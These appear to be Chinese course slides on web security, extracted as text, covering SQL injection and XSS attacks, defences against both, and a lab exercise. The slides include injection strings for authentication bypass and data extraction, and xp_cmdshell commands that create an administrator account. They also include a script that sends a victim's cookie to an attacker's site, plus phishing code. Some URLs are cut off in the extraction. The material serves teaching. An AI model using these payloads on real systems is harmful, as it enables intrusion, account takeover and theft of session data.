1、网络安全,9 Web脚本攻击何路 ,2,Web脚本漏洞,网站服务器越来越多,主要涉及 SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 跨站脚本攻击(XSS):攻击者通过在链接中插入恶意代码,就能够盗取用户信息。网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。,SQL注入攻击原理,绕过认证:or a=a 必须要有2个条件:1、账号密码的查询是要同一条查询语句;2、密码没有加密保护判断能否进行SQL注入 判断数据库类型及注入方法 猜测表名和字段名 猜解用户
2、名和密码,3,判断能否进行SQL注入,http:/ Select * from users where uname = 输入的用户名 and pass = 输入的密码 构造用户名: admin and a = a admin and a = b 如果 同1、 不同1,说明可以注入 如果 、 均 不同1,说明不能注入 注意:需要根据传入参数的数据类型具体构造,4,判断数据库类型及注入方法,不同的数据库的函数、注入方法都是有差异的 SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,就可以直接从出错信息获取 如果服务器IIS不允许返回错误提示,Ac
3、cess和 SQLServer都有自己的系统表,Access是在系统表msysobjects中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表sysobjects中,在Web环境下可正常读取。 构造: and (select count(*) from sysobjects)0 and (select count(*) from msysobjects)0,5,猜测表名和字段名,构造:And (Select Count(*) from user)=0 and a=a 构造: And (Select Count(uname) from user)=0 and a=a 一般程序
4、员会使用有意义的表名和字段名 反复穷举,如果页面工作正常,说明猜测正确 这里有一些偶然的成分,不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。,6,猜解用户名和密码,确定字段长度 构造:and (select top 1 len(uname) from user)0 穷举各种可能 确定字段内容 构造:and (select top 1 asc(mid(username,1,1) from user) = 1 穷举各种可能 可以使用二分搜索加快速度,7,利用系统表注入SQLServer举例,http:/Site
5、/url.asp?id=1;exec masterxp_cmdshell “net user name password /add”- 先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,http:/Site/url.asp?id=1;exec masterxp_cmdshell “net localgroup name administrators /add”- 这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。,8,
6、http:/Site/url.asp?id=1 ;and db_name()0 返回的是连接的数据库名。 http:/Site/url.asp?id=1;backup database 数据库名 to disk=c:inetpubwwwroot1.db;- 某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,9,SQL注入防范,过滤关键词,如select、form、引号、分号等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。 限制输入的长度 秘密字段使用散列函数进行保护,10,防范
7、要严密,验证、过滤所有的输入 char(85)代替直接使用引号等 程序中使用类型安全的查询参数 避免在Like语句中使用%使用SQL单一语句执行许可http:/ 钓鱼或者cookie窃取,目的是为了访问受限信息。 为了恶搞、丑化其它网站或实施社交工程攻击 在网站的客户端上执行恶意代码,12,攻击原理及类型,反射式攻击:这种攻击跟踪网站通过cookies进行的身份验证,这种网站一般都不太安全,容易遭受跨站脚本攻击。使用社会工程(如告诉用户“你中奖了!”),如果目标用户受到诱骗,并单击攻击者注入到标准HTML代码中的包含恶意代码的链接,攻击者就可以访问用户的cookie信息(会话和身份验证信息等)
8、。 存储式攻击:假设某个网站利用后端数据库作为搜索网页的信息源,黑客们并不将恶意代码注入到普通页面中,而是将SQL代码注入到这种数据库中。于是,每次从后端数据库中返回查询结果时,都会包含着攻击者的恶意代码。,13,基本原理,在网页中可以进行输入的地方输入html代码或javascript代码 留言板里留言: 判断是否有脚本漏洞,随意提交带的字符串 while(true)alert(你中招了) 也可以用在诈骗email里,14,隐藏访问,指使用户在访问一个页面时,不知不觉之中访问了另一个页面,比如木马网页 打开不可见的窗口 window.open(目标页面URL,top=10000,left=1
9、0000,height=0,width=0);window.open(“http:/ 插入不可见的框架 ,15,获取浏览者cookie,在要攻击的网页中插入var ck=document.cookie; var url=http:/ var html=iframe src=“+url+” document.write(html);在自己的网站中创建接收cookie的页面 ,16,网络钓鱼,在要攻击的网页中插入如下代码在黑客自己的网站建立xss.js利用脚本清空当前页面,然后重新写成钓鱼页面。 function Phish() info = “我是来钓鱼的!” document.write(in
10、fo); ,17,XSS的防范,对动态生成的页面的字符进行编码 黑客很有可能更改你的字符设置而轻易地通过你的防线。 对输入进行过滤和限制 可在ONSUBMIT方法中加入JAVASCRIPT程序来过滤之类字符,还可以限制输入的长度 对动态内容使用HTML和URL编码 如转换成 设置IE不下载、不执行任何脚本、ActiveX等,18,Assignments & Further Reading,编写程序验证用户输入防止SQL注入攻击 编写程序验证用户输入防止XSS注入攻击The Database_Hackers Handbook Defending Database Servers,19,Proje
11、ct penetrating-2 Sql inject, XSS & Steal Key,http:/ Target:lampsec_ctf4 http:/ Attacking machine User:lampsec, root Pwd:lampsec IP: 172.16.61.129 http:/ 3 people team, reporting your attack processing(commands you used or screen snap your config, and explain results of every step, recording video, including “Other Unscripted Attack Vectors”,20,